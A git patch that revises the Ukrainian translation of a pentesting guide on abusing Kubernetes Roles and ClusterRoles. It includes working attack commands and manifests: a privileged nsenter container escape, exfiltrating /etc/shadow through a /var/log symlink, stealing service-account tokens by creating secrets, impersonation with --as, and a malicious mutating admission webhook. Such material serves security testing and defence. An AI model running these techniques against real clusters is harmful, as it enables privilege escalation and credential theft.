From e3ac2e1250cb7f7ca2cbb7811adb39f6f35773b9 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 12:06:53 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 165 ++++++++++++------ 1 file changed, 114 insertions(+), 51 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 1505848f4..9a5668e09 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Зловживання ролями/кластерами в Kubernetes +# Зловживання Ролями/КластерРолями в Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles та ClusterRoles.\ +Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.\ Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources` -## **Ескалація привілеїв** +## **Ескалація Привілеїв** -Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластера kubernetes або до зовнішніх хмар), ніж ті, які ви вже маєте. У Kubernetes є в основному **4 основні техніки для ескалації привілеїв**: +Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**: -- Можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар -- Можливість **створювати/редагувати/виконувати pods**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар -- Можливість **читати секрети**, оскільки токени SA зберігаються як секрети -- Можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є) -- П'ята техніка, яка заслуговує на згадку, - це можливість **запускати port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів у цьому pod. +- Мати можливість **вдаватись** в інших користувачів/групи/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар +- Мати можливість **створювати/поправляти/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар +- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети +- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є) +- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів в цьому поді. -### Доступ до будь-якого ресурсу або дієслова (Wildcard) +### Доступ до Будь-якого Ресурсу або Дії (Wildcard) -**Джокер (\*) надає дозвіл на будь-який ресурс з будь-яким дієсловом**. Його використовують адміністратори. Усередині ClusterRole це означає, що зловмисник може зловживати будь-яким простором імен у кластері. +**Дикий символ (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Всередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього. +Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для підробки облікового запису служби. Фактично підвищуючи привілеї до нього. Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому: ```yaml @@ -76,7 +76,7 @@ hostNetwork: true Наступне вказує на всі привілеї, які може мати контейнер: -- **Привілейований доступ** (вимкнення захисту та налаштування можливостей) +- **Привілейований доступ** (вимкнення захистів і налаштування можливостей) - **Вимкнення простору імен hostIPC та hostPid**, що може допомогти в ескалації привілеїв - **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж - **Монтування хостів / всередині контейнера** @@ -119,7 +119,7 @@ path: / ```bash kubectl --token $token create -f mount_root.yaml ``` -Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: +Однорядковий з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` @@ -136,7 +136,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos - **hostNetwork** - **hostIPC** -_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Створення пода - Перехід до хмари @@ -199,19 +199,19 @@ kubectl exec -it -n -- sh ``` ### port-forward -Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (веб?) всередині пода: +Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (вебів?) всередині пода: ``` kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/` хосту**, ви можете **втекти з контейнера**.\ -Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs `), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\ -Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному просто **відкриває файлову систему `/var/log` контейнера**. +Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\ +Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs `), він **запитує файл `0.log`** пода, використовуючи `/logs/` кінцеву точку служби **Kubelet**.\ +Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**. Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою 2 способами: -- Модифікація файлу `0.log` свого контейнера (зазвичай розташованого в `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши: +- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -219,7 +219,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і коли **доступаючи до `https://:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів). +- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym` на `/` і коли **використовуючи `https://:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -231,11 +231,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Лабораторія та автоматизований експлойт можна знайти в** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Лабораторія та автоматизований експлойт можна знайти за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Обхід захисту readOnly -Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку як rw: +Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку з правами на запис: ```bash mount -o rw,remount /hostlogs/ ``` @@ -247,7 +247,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Що мало на меті запобігти втечам, подібним до попередніх, замість використання хостового монту hostPath, використати PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис: +Що мало на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис: ```yaml apiVersion: v1 kind: PersistentVolume @@ -293,11 +293,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Імітація привілейованих облікових записів** +### **Видавання себе за привілейовані облікові записи** -З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис. +З привілеєм [**видавання себе за користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може видати себе за привілейований обліковий запис. -Просто використовуйте параметр `--as=` в команді `kubectl`, щоб імітувати користувача, або `--as-group=`, щоб імітувати групу: +Просто використовуйте параметр `--as=` в команді `kubectl`, щоб видати себе за користувача, або `--as-group=`, щоб видати себе за групу: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -310,25 +310,88 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Перелік секретів +### Listing Secrets -Дозвіл на **перелік секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки: +Дозвіл на **перегляд секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Створення та читання секретів + +Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів служби. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису служби, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису служби жертви з нього: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +Приклад експлуатації: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен. + ### Читання секрету – брутфорсинг ID токенів -Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких асоційований з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий алфавітно-цифровий токен з п'яти символів (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб. ### Запити на підписання сертифікатів -Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.** +Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла**. Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `/` або `/*` -Приклад **ролі** з усіма необхідними дозволами: +**Приклад ролі** з усіма необхідними дозволами: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -359,9 +422,9 @@ resourceNames: verbs: - approve ``` -Отже, з новим затвердженим CSR вузла, ви можете **зловживати** спеціальними правами вузлів, щоб **вкрасти секрети** та **підвищити привілеї**. +Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**. -У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і її зловживають для генерації облікових даних нового вузла K8s, а потім зловживають цими даними для підвищення привілеїв шляхом крадіжки секретів.\ +У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім зловживається для підвищення привілеїв шляхом викрадення секретів.\ Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.** Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості): @@ -414,14 +477,14 @@ groups: > Ви можете використовувати **`aws-auth`** для **постійності**, надаючи доступ користувачам з **інших облікових записів**. > > Однак, `aws --profile other_account eks update-kubeconfig --name ` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\ -> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах aws exec додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS. +> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS. ### Ескалація в GKE Є **2 способи призначити K8s дозволи для GCP принципів**. У будь-якому випадку принцип також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням). > [!WARNING] -> Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\ +> Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\ > Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**. Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принцип має їх, він зможе їх використовувати. @@ -442,13 +505,13 @@ groups: ### ValidatingWebhookConfigurations або MutatingWebhookConfigurations -Принципи з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалювати привілеї**. +Принципи з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**. -Для прикладу [`mutatingwebhookconfigurations` перегляньте цей розділ цього посту](./#malicious-admission-controller). +Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller). ### Ескалація -Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](./#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\ +Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі без наявності у себе цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\ Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що у нього є. ### Проксі вузлів @@ -459,11 +522,11 @@ groups: ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/#kubelet-rce). +У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### Видалення подів + незаплановані вузли -Принципи, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони були **виконані** на **зламаному** **вузлі**, і зловмисник може **вкрасти токени** з цих подів. +Принципи, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони були **виконані** в **зламаному** **вузлі**, і зловмисник може **вкрасти токени** з цих подів. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -476,11 +539,11 @@ kubectl delete pods -n kube-system ``` ### Стан сервісів (CVE-2020-8554) -Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту уразливість CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Стан вузлів і подів -Принципали з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування. +Принципали з **`update`** або **`patch`** дозволами на `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування. ## Вбудоване запобігання ескалації привілеїв @@ -554,7 +617,7 @@ kubectl logs app -C proxy Admission controller **перехоплює запити до сервера API Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**. -Якщо зловмиснику вдасться **впровадити Mutationg Admission Controller**, він зможе **модифікувати вже аутентифіковані запити**. Це може призвести до потенційного підвищення привілеїв, а також, зазвичай, до збереження в кластері. +Якщо зловмиснику вдасться **впровадити Mutationg Admission Controller**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а зазвичай і зберігатися в кластері. **Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -570,12 +633,12 @@ kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Тоді розгорніть новий под: +Тоді розгорніть новий pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Коли ви бачите помилку `ErrImagePull`, перевірте назву зображення за допомогою одного з запитів: +Коли ви бачите помилку `ErrImagePull`, перевірте ім'я зображення за допомогою одного з запитів: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " @@ -586,7 +649,7 @@ kubectl describe po nginx | grep "Image: " #### Technicalities -Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який змінює запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати: +Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -594,9 +657,9 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Вищезазначений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`. +Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`. -## OPA Gatekeeper обхід +## OPA Gatekeeper обход {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -606,7 +669,7 @@ Value: "rewanthtammana/malicious-image", ### **Вимкнення автоматичного монтування токенів облікових записів служби** -- **Поди та облікові записи служби**: За замовчуванням поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування. +- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування. - **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6. ### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings** @@ -615,7 +678,7 @@ Value: "rewanthtammana/malicious-image", ### **Ролі, специфічні для простору імен, замість ролей на рівні кластера** -- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів. +- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles та RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles та ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів. ### **Використовуйте автоматизовані інструменти**